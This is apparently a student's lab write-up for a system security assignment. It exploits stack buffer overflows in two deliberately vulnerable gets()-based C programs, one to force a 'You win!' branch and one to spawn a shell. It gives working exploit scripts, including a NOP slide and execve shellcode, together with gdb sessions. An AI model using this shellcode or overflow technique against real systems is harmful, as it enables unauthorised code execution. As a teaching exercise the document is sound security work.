SYSTEM SECURITY ASSIGNMENT-3

1. Task to produce you win!!

```
vaishnavi@vaishnavi-VirtualBox:~$ gedit 1.c
vaishnavi@vaishnavi-VirtualBox:~$ gcc -g -fno-stack-protector -no-pie -z execsta
ck-O0 -o 1 1.c
1.c: In function ‘test_pw’:
1.c:8:9: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-d
eclaration]
         gets(pin);
         ^
/usr/bin/ld: warning: -z execstack-O0 ignored.
/tmp/ccd2uFlX.o: In function `test_pw':
/home/vaishnavi/1.c:8: warning: the `gets' function is dangerous and should not
be used.
```

This is the execution is for execution of the above mentioned vulnerable program.

```
vaishnavi@vaishnavi-VirtualBox:~$ ./1
Enter password: 1234
Fail!
vaishnavi@vaishnavi-VirtualBox:~$ ./1
Enter password: aaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccdddddddddd
Segmentation fault (core dumped)
vaishnavi@vaishnavi-VirtualBox:~$
```

When we run the program if the entered password is correct then the output should be you win!! but for small passwords we get the output as fail!! and for long passwords we get segmentation fault. Segmentation fault indicates buffer overflow vulnerability.

```
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1...done.
(gdb) !cat 1.c
#include <stdio.h>

int test_pw()
{
        char pin[10];
        int x=15, i;
        printf("Enter password: ");
        gets(pin);
        for (i=0; i<10; i+=2) x = (x & pin[i]) | pin[i+1];
        if (x == 48) return 0;
        else return 1;
}

void main()
{
        if (test_pw()) printf("Fail!\n");
        else printf("You win!\n");
}
```

Now here we try to view the program on gdb. Char pin[10] shows space for 10 characters. The for loop inputs user input without cheching for its length. As we see we want the output you win! From the program.

```
Breakpoint 1, test_pw () at 1.c:8
8               gets(pin);
(gdb) info registers
eax            0x10     16
ecx            0x804b018        134524952
edx            0xb7fbc870       -1208235920
ebx            0x0      0
esp            0xbfffefa0       0xbfffefa0
ebp            0xbfffefc8       0xbfffefc8
esi            0xb7fbb000       -1208242176
edi            0xb7fbb000       -1208242176
eip            0x8048488        0x8048488 <test_pw+29>
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/20x $esp
0xbfffefa0:     0x00008000      0xb7fbb000      0xb7fb9244      0xb7e210ec
0xbfffefb0:     0x00000001      0x00000000      0xb7e37a50      0x0000000f
0xbfffefc0:     0x00000001      0xbffff084      0xbfffefd8      0x080484fa
0xbfffefd0:     0xb7fbb3dc      0xbfffeff0      0x00000000      0xb7e21637
0xbfffefe0:     0xb7fbb000      0xb7fbb000      0x00000000      0xb7e21637
(gdb)
```

Set the break points at line number 8 and line number 10.

value of

esp is 0xbfffefa0

and

ebp is 0xbfffefc8

The highlighted region is the stack frame for test_pw(). It starts at the 32-bit word pointed to by $esp and continues through the 32-bit word pointed to by $ebp.

```
(gdb) disas main
Dump of assembler code for function main:
   0x080484e4 <+0>:     lea    0x4(%esp),%ecx
   0x080484e8 <+4>:     and    $0xfffffff0,%esp
   0x080484eb <+7>:     pushl  -0x4(%ecx)
   0x080484ee <+10>:    push   %ebp
   0x080484ef <+11>:    mov    %esp,%ebp
   0x080484f1 <+13>:    push   %ecx
   0x080484f2 <+14>:    sub    $0x4,%esp
   0x080484f5 <+17>:    call   0x804846b <test_pw>
   0x080484fa <+22>:    test   %eax,%eax
   0x080484fc <+24>:    je     0x8048510 <main+44>
   0x080484fe <+26>:    sub    $0xc,%esp
   0x08048501 <+29>:    push   $0x80485c1
   0x08048506 <+34>:    call   0x8048340 <puts@plt>
   0x0804850b <+39>:    add    $0x10,%esp
   0x0804850e <+42>:    jmp    0x8048520 <main+60>
   0x08048510 <+44>:    sub    $0xc,%esp
   0x08048513 <+47>:    push   $0x80485c7
   0x08048518 <+52>:    call   0x8048340 <puts@plt>
   0x0804851d <+57>:    add    $0x10,%esp
   0x08048520 <+60>:    nop
   0x08048521 <+61>:    mov    -0x4(%ebp),%ecx
   0x08048524 <+64>:    leave
   0x08048525 <+65>:    lea    -0x4(%ecx),%esp
   0x08048528 <+68>:    ret
End of assembler dump.
(gdb)
```

So the address to jump to is 0x08048510.

```
#!/usr/bin/python
import sys
sys.stdout.write("AABBCCDDEEFFGGHHIIJJKKLLMMNNOO\x10\x85\x04\x08")
```

Now try to run the program and append the output of the program to a newly created file attack with 34 characters.

```
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1...done.
(gdb) break 1.c:10
Breakpoint 1 at 0x80484d0: file 1.c, line 10.
(gdb) r < attack
Starting program: /home/vaishnavi/1 < attack

Breakpoint 1, test_pw () at 1.c:10
10              if (x == 48) return 0;
(gdb) c
Continuing.
Enter password: You win!
```

Now try to put break point at line number 10 and try to run the program. We get the "You Win!" message, as desired. Then, the program crashes because the stack is corrupted and it cannot return normally from main.

2. Spawn a shell

```
vaishnavi@vaishnavi-VirtualBox:~$ sudo sysctl kernel.randomize_va_space=0
[sudo] password for vaishnavi:
kernel.randomize_va_space = 0
vaishnavi@vaishnavi-VirtualBox:~$
```

First try to diasble the ASLR

consider the below program

```c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char buf[64];

gets(buf);
}
```

Now let us try to compile the program using the below command

```
vaishnavi@vaishnavi-VirtualBox:~$ gcc  -fno-stack-protector -mpreferred-stack-bo
undary=2 -z execstack -no-pie -o 2 2.c
2.c: In function ‘main’:
2.c:7:1: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-d
eclaration]
 gets(buf);
 ^
/tmp/ccgs3zdL.o: In function `main':
2.c:(.text+0xb): warning: the `gets' function is dangerous and should not be use
d.
```

Now run gdb and try to examine the diassmbled code

```
vaishnavi@vaishnavi-VirtualBox:~$ gdb ./2
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./2...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804840b <+0>:     push   %ebp
   0x0804840c <+1>:     mov    %esp,%ebp
   0x0804840e <+3>:     sub    $0x40,%esp
   0x08048411 <+6>:     lea    -0x40(%ebp),%eax
   0x08048414 <+9>:     push   %eax
   0x08048415 <+10>:    call   0x80482e0 <gets@plt>
   0x0804841a <+15>:    add    $0x4,%esp
   0x0804841d <+18>:    mov    $0x0,%eax
   0x08048422 <+23>:    leave
   0x08048423 <+24>:    ret
End of assembler dump.
(gdb) break *0x08048423
Breakpoint 1 at 0x8048423
(gdb) run
Starting program: /home/vaishnavi/2
ls
```

Now let us try to set a break point at the instruction ret and try to run the program. Here gdb will wait for the user ro input the input and which will teminate.

```
(gdb) x/40wx $esp-80
0xbfffefbc:     0xbffff008      0x0804841a      0xbfffefc8      0x66666666
0xbfffefcc:     0x66666666      0x68686868      0x68686868      0xb7e37a00
0xbfffefdc:     0x0804847b      0x00000001      0xbffff0a4      0xbffff0ac
0xbfffefec:     0x08048451      0xb7fbb3dc      0x080481fc      0x08048439
0xbfffeffc:     0x00000000      0xb7fbb000      0xb7fbb000      0x00000000
0xbffff00c:     0xb7e21637      0x00000001      0xbffff0a4      0xbffff0ac
0xbffff01c:     0x00000000      0x00000000      0x00000000      0xb7fbb000
0xbffff02c:     0xb7fffc04      0xb7fff000      0x00000000      0xb7fbb000
0xbffff03c:     0xb7fbb000      0x00000000      0x79f3c673      0x42380863
0xbffff04c:     0x00000000      0x00000000      0x00000000      0x00000001
(gdb) p/x 0xbfffefbc+12
$1 = 0xbfffefc8
```

Here we can see the input code that should be inputed to the program oxbfffefc8 with eip. Below shows the expolit program to spawn the shell.

```
import struct
eip=struct.pack("I",0xbfffefc8+60)
nopslide="\x90"*(32)
inline="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

pad='a'*8
print nopslide+inline+pad+eip
```

Once exploit is done on terminal write python <exploit name> > filename

now in gdb run < <filename>

finally on terminal run the (python 2.py;cat)|./2

```
vaishnavi@vaishnavi-VirtualBox:~$ gedit 2.py
vaishnavi@vaishnavi-VirtualBox:~$ python 2.py > test
vaishnavi@vaishnavi-VirtualBox:~$ (python 2.py;cat )| ./2
ls
1     2     Desktop    Music     Templates  examples.desktop  test
1.c   2.c   Documents  Pictures  Videos     sample
1.py  2.py  Downloads  Public    attack     sample.c
```

finally we get the shell!!!